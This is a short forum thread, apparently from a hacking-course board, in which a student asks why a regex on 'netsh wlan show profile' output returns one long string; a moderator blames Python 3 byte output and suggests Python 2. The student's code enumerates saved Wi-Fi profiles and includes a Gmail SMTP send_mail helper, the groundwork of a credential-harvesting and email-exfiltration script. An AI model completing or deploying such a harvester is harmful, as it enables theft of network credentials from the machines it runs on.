Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #59772
    jingjohn77
    Participant

    Hi, I am wondering what I did wrong with regex.

    this is the result I gotten:

    “AUSD-Staff\\r\\n All User Profile : Ma\\r\\n All User Profile : cbfix\\r\\n All User Profile
    : wifispot1\\r\\n All User Profile : Frontier6368\\r\\n\\r\\n'”
    ——————————————————————————————————————-
    question Why dosn’t it put network name put it into a list? why does it print out the whole string, was there anything wrong with the pattern I input?

    This is my code:

    import subprocess, smtplib, re

    def send_mail(email, password, message):
    server = smtplib.SMTP(“smtp.gmail.com”, 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

    command = “netsh wlan show profile”

    networks = subprocess.check_output(command, shell=True)

    networksname= re.findall(“(?:Profile\s*:\s*)(.*)”, str(networks))

    print(networksname)
    ——————————————————————————————

    #59788
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Are you using python 3? If so then use python 2, it will be easier.

    Let me know.
    Diego

    #59800
    jingjohn77
    Participant

    hi yes I am, could you help me if I want to use python 3, what would be the regular expression pattern? thank you

    #59804
    Diego PérezDiego Pérez
    Moderator

    Hi!
    The regular expression will not change, it’s the same in any python version. The thing is that with python 3 the result is being displayed as a byte-like object, not as a string. This a constant issue with python3 but for this script is better to use python 2.

    Greetings!
    Diego

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.